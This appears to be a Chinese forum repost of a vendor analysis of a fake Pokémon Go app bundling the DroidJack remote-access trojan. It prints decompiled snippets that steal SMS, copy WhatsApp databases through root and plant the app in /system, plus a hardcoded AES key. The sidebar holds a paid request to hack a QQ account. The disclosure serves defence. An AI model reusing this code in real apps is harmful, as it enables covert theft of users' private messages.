Pokémon Go | 被捆绑恶意远程管理工具DroidJack
🍤钱钱菜:-P
随着Pokémon Go火爆全球,这比以往任何时候都要更吸引黑客的关注。因为受欢迎的游戏可以帮助黑客更有效地传播恶意应用程序。 Trustlook最近发现了一个包含RAT(远程管理工具)DroidJack的Pokémon Go。该应用看起来是普通的游戏,但实际上被用来控制用户的设备。被研究的木马包具有以下几个特征: MD5: d350cc8222792097317608ea95b283a8 SHA256: 15db22fd7d961f4d4bd96052024d353b3ff4bd135835d2644d94d74c925af3c4 大小: 184036 bytes 名称: 61029052 包名: com.nianticlabs.pokemongo 图标:

运行时,该应用就像一个普通的Pokémon Go游戏:




以下为该应用的证书,这不属于Pokemon Go的开发商:

以下为代码结构,从包“net.droidjack.server”中可以看出:

这个DroidJack RAT工具可以执行以下恶意行为: 获取短信 监视通话并录音 获取通话记录 浏览器书签/历史 WhatsApp通话记录 GPS定位 WhatsApp聊天记录 录音 拍摄视频 拍照 发送设备信息 安装文件到系统文件夹 更新自身 下面的代码片段负责收集短信: protected void a() { ag localag = new ag(this.c); localag.b(); Object localObject = Uri.parse(“content://sms/sent”); Cursor localCursor = this.c.getContentResolver().query((Uri)localObject, null, null, null, null); if (localCursor.getCount() > 0) {} for (;;) { if (!localCursor.moveToNext()) { return; } String str3 = localCursor.getString(localCursor.getColumnIndex(“body”)); String str1 = localCursor.getString(localCursor.getColumnIndex(“address”)); String str4 = localCursor.getString(localCursor.getColumnIndex(“date”)); String str2 = a(str1); localObject = str2; […] protected void b() { ag localag = new ag(this.c); localag.a(); Object localObject = Uri.parse(“content://sms/inbox”); Cursor localCursor = this.c.getContentResolver().query((Uri)localObject, null, null, null, null); if (localCursor.getCount() > 0) {} for (;;) { if (!localCursor.moveToNext()) { return; } String str3 = localCursor.getString(localCursor.getColumnIndex(“body”)); String str1 = localCursor.getString(localCursor.getColumnIndex(“address”)); String str2 = a(str1); localObject = str2; if (str2 == null) { localObject = str1; } localag.a(str1, (String)localObject, str3, localCursor.getString(localCursor.getColumnIndex(“date”))); } } 下面的代码片段用于检索WhatsApp的日志: protected byte[] a() { try { this.d = new File(Environment.getExternalStorageDirectory() + “/WhatsApp/Databases/wams.db”); Object localObject = new DataOutputStream(Runtime.getRuntime().exec(“su”).getOutputStream()); ((DataOutputStream)localObject).writeBytes(“cp data/data/com.whatsapp/databases/msgstore.db ” + this.d.getAbsolutePath()); ((DataOutputStream)localObject).writeBytes(“\nexit”); Thread.sleep(10000L); if (this.d.exists()) {} return “NoWA”.getBytes(); } 下面的代码片段是将文件安装到系统文件夹: public class FBDBSender protected byte[] c() { try { Object localObject = new File(this.a.getPackageManager().getApplicationInfo(this.a.getPackageName(), 128).sourceDir); DataOutputStream localDataOutputStream = new DataOutputStream(Runtime.getRuntime().exec(“su”).getOutputStream()); localDataOutputStream.writeBytes(“mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system\n”); localDataOutputStream.writeBytes(“cp -rp ” + ((File)localObject).getAbsolutePath() + ” /system/app/” + ((File)localObject).getName()); localDataOutputStream.writeBytes(“\nmount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system”); localDataOutputStream.writeBytes(“\nexit”); Thread.sleep(10000L); localObject = “Ack”.getBytes(); return localObject; } 恶意软件可以在发送之前,使用AES加密收集到的数据: public class aj { private static final byte[] a = { 76, 82, 83, 65, 78, 74, 85, 73, 83, 84, 72, 69, 82, 65, 74, 65 }; public static String a(String paramString) { Key localKey = a(); Cipher localCipher = Cipher.getInstance(“AES”); localCipher.init(1, localKey); return Base64.encodeToString(localCipher.doFinal(paramString.getBytes()), 0); } private static Key a() { return new SecretKeySpec(a, “AES”); } public static String b(String paramString) { Key localKey = a(); Cipher localCipher = Cipher.getInstance(“AES”); localCipher.init(2, localKey); return new String(localCipher.doFinal(Base64.decode(paramString, 0))); } } 从第三方来源下载应用程序可能会使设备暴露于潜在的威胁。从受信任的来源下载是保持设备安全的一种方式。安装移动安全应用,如蓝蛙安全,有助于防止信息窃取并提供在线保护。 内容来自蓝蛙安全
你的回复
回复请先 登录 , 或 注册相关内容推荐
最新讨论 ( 更多 )
- 对Web3.0和DAO组织感兴趣的可以加入我们 (飘落无缘)
- 闲鱼出全新雷鸟Air 智能AR眼镜,1088元 (Selina)
- 刚刚被骗了200 想把钱转回来有人会盗QQ吗?有偿20r (冬天真的好冷❄️)
- 这是个诈骗的女骗子,叫刘敏,提供有效线索的重谢 (momomo)
- #人工智能生态峰会2023 (吴加蒜)